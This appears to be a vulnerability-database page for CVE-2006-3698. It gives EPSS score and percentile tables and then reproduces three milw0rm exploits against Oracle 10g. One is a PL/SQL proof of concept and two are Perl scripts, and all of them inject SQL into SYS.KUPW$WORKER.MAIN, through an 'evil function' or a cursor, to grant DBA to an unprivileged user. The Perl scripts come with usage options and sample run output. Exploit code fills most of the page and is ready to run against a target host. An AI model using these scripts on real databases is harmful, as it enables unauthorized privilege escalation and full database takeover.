CVE-2006-3698 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.39%	–	–
2022-04-03	–	–	4.39%	–	–
2022-08-28	–	–	4.39%	–	–
2023-03-12	–	–	–	3.37%	–
2023-04-16	–	–	–	3.4%	–
2023-05-28	–	–	–	4.04%	–
2023-07-02	–	–	–	3.08%	–
2023-09-17	–	–	–	2.73%	–
2023-10-29	–	–	–	2.63%	–
2023-11-12	–	–	–	25.54%	–
2024-02-04	–	–	–	26.17%	–
2024-02-11	–	–	–	26.17%	–
2024-06-02	–	–	–	26.17%	–
2024-12-22	–	–	–	49.67%	–
2025-01-19	–	–	–	49.67%	–
2025-03-18	–	–	–	–	28.51%
2025-03-30	–	–	–	–	22.39%
2025-03-30	–	–	–	–	22.39,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	71%
2022-04-03	87%
2022-08-28	88%
2023-03-12	9%
2023-04-16	9%
2023-05-28	91%
2023-07-02	9%
2023-09-17	89%
2023-10-29	89%
2023-11-12	96%
2024-02-04	96%
2024-02-11	97%
2024-06-02	97%
2024-12-22	98%
2025-01-19	98%
2025-03-18	96%
2025-03-30	95%
2025-03-30	95%

/** * Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006 * Joxean Koret <joxeankoret@yahoo.es> * Privileges needed: * * - CREATE SESSION * - CREATE PROCEDURE * */ select * from user_role_privs ; CREATE OR REPLACE FUNCTION F1 RETURN NUMBER AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO TEST'; COMMIT; RETURN(1); END; / DECLARE MASTER_NAME VARCHAR2(200); MASTER_OWNER VARCHAR2(200); BEGIN MASTER_NAME := ''' or ' || user || '.f1=1--'; MASTER_OWNER := 'bla'; SYS.KUPW$WORKER.MAIN( MASTER_NAME => MASTER_NAME, MASTER_OWNER => MASTER_OWNER ); END; / select * from user_role_privs ; // milw0rm.com [2007-01-23]

#!/usr/bin/perl # # Remote Oracle KUPW$WORKER.MAIN exploit (10g) # # Grant or revoke dba permission to unprivileged user # # Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0" # # REF: http://www.securityfocus.com/archive/1/440439 # # AUTHOR: Andrea "bunker" Purificato # http://rawlab.mindcreations.com # # DATE: Copyright 2007 - Thu Feb 22 17:48:27 CET 2007 # # Oracle InstantClient (basic + sdk) required for DBD::Oracle # # # bunker@fin:~$ perl kupw-worker.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupw-worker.pl line 94. # [-] Done! # # bunker@fin:~$ perl kupw-worker.pl -h localhost -s test -u bunker -p **** -g # [-] Wait... # [-] Creating evil function... # [-] Go ...(don't worry about errors)! # DBD::Oracle::st execute failed: ORA-39079: unable to enqueue message DG # ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86 # ORA-06512: at "SYS.KUPC$QUE_INT", line 912 # ORA-00931: missing identifier # ORA-06512: at "SYS.KUPC$QUE_INT", line 1910 # ORA-06512: at line 1 # ORA-06512: at "SYS.KUPC$QUEUE_INT", line 591 # ORA-06512: at "SYS.KUPW$WORKER", line 13468 # ORA-06512: at "SYS.KUPW$WORKER", line 5810 # ORA-39125: Worker unexpected fatal error in KUPW$WORKER.MAIN while calling KUPC$QUEUE_INT.ATTACH_QUEUE [] # ORA-06512: at "SYS.KUPW$WORKER", line 1243 # ORA-31626: job does not exist # ORA-39086: cannot retrieve job information # ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement " # BEGIN # SYS.KUPW$WORKER.MAIN(''' AND 0=BUNKER.own--',''); # END;"] at kupw-worker.pl line 116. # [-] YOU GOT THE POWAH!! # # bunker@fin:~$ perl kupw-worker.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # [-] Done! # use warnings; use strict; use DBI; use Getopt::Std; use vars qw/ %opt /; sub usage { print <<"USAGE"; Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>] Options: -h <host> target server address -s <sid> target sid name -u <user> user -p <passwd> password -g|-r (g)rant dba to user | (r)evoke dba from user [-P <port> Oracle port] USAGE exit 0 } my $opt_string = 'h:s:u:p:grP:'; getopts($opt_string, \%opt) or &usage; &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u}; my $dbh = undef; if ($opt{P}) { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; } else { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; } my $sqlcmd = "GRANT DBA TO $user"; print "[-] Wait...\n"; if ($opt{r}) { print "[-] Revoking DBA from $user...\n"; $sqlcmd = "REVOKE DBA FROM $user"; $dbh->do( $sqlcmd ); print "[-] Done!\n"; $dbh->disconnect; exit; } print "[-] Creating evil function...\n"; $dbh->do( qq{ CREATE OR REPLACE FUNCTION OWN RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; RETURN(0); END; } ); print "[-] Go ...(don't worry about errors)!\n"; my $sth = $dbh->prepare( qq{ BEGIN SYS.KUPW\$WORKER.MAIN(''' AND 0=$user.own--',''); END;}); $sth->execute; $sth->finish; print "[-] YOU GOT THE POWAH!!\n"; $dbh->disconnect; exit; # milw0rm.com [2007-02-22]

#!/usr/bin/perl # # Remote Oracle KUPW$WORKER.MAIN exploit (10g) # - Version 2 - New "evil cursor injection" tip! # - No "create procedure" privileg needed! # - See: http://www.databasesecurity.com/ (Cursor Injection) # # Grant or revoke dba permission to unprivileged user # # Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0" # # REF: http://www.securityfocus.com/archive/1/440439 # # AUTHOR: Andrea "bunker" Purificato # http://rawlab.mindcreations.com # # DATE: Copyright 2007 - Thu Feb 26 17:48:27 CET 2007 # # Oracle InstantClient (basic + sdk) required for DBD::Oracle # # # bunker@fin:~$ perl kupw-workerV2.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupw-workerV2.pl line 70. # [-] Done! # # bunker@fin:~$ perl kupw-workerV2.pl -h localhost -s test -u bunker -p **** -g # [-] Wait... # [-] Creating evil cursor... # Cursor: 2 # [-] Go ...(don't worry about errors)! # DBD::Oracle::st execute failed: ORA-39079: unable to enqueue message DG # ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86 # ORA-06512: at "SYS.KUPC$QUE_INT", line 912 # ORA-00931: missing identifier # ORA-06512: at "SYS.KUPC$QUE_INT", line 1910 # ORA-06512: at line 1 # ORA-06512: at "SYS.KUPC$QUEUE_INT", line 591 # ORA-06512: at "SYS.KUPW$WORKER", line 13468 # ORA-06512: at "SYS.KUPW$WORKER", line 5810 # ORA-39125: Worker unexpected fatal error in KUPW$WORKER.MAIN while calling KUPC$QUEUE_INT.ATTACH_QUEUE [] # ORA-06512: at "SYS.KUPW$WORKER", line 1243 # ORA-31626: job does not exist # ORA-39086: cannot retrieve job information # ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement " # BEGIN # SYS.KUPW$WORKER.MAIN(''' AND 0=dbms_sql.execute(2)--',''); # END; # "] at kupw-workerV2.pl line 100. # [-] YOU GOT THE POWAH!! # # bunker@fin:~$ perl kupw-workerV2.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # [-] Done! # use warnings; use strict; use DBI; use Getopt::Std; use vars qw/ %opt /; sub usage { print <<"USAGE"; Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>] Options: -h <host> target server address -s <sid> target sid name -u <user> user -p <passwd> password -g|-r (g)rant dba to user | (r)evoke dba from user [-P <port> Oracle port] USAGE exit 0 } my $opt_string = 'h:s:u:p:grP:'; getopts($opt_string, \%opt) or &usage; &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u}; my $dbh = undef; if ($opt{P}) { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; } else { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; } my $sqlcmd = "GRANT DBA TO $user"; print "[-] Wait...\n"; $dbh->func( 1000000, 'dbms_output_enable' ); if ($opt{r}) { print "[-] Revoking DBA from $user...\n"; $sqlcmd = "REVOKE DBA FROM $user"; $dbh->do( $sqlcmd ); print "[-] Done!\n"; $dbh->disconnect; exit; } print "[-] Creating evil cursor...\n"; my $sth = $dbh->prepare(qq{ DECLARE MYC NUMBER; BEGIN MYC := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0); DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC); END; } ); $sth->execute; my $cursor = undef; while (my $line = $dbh->func( 'dbms_output_get' )) { print "$line\n"; if ($line =~ /^Cursor: (\d)/) {$cursor = $1;} } $sth->finish; print "[-] Go ...(don't worry about errors)!\n"; $sth = $dbh->prepare(qq{ BEGIN SYS.KUPW\$WORKER.MAIN(''' AND 0=dbms_sql.execute($cursor)--',''); END; }); $sth->execute; $sth->finish; print "[-] YOU GOT THE POWAH!!\n"; $dbh->disconnect; exit; # milw0rm.com [2007-02-26]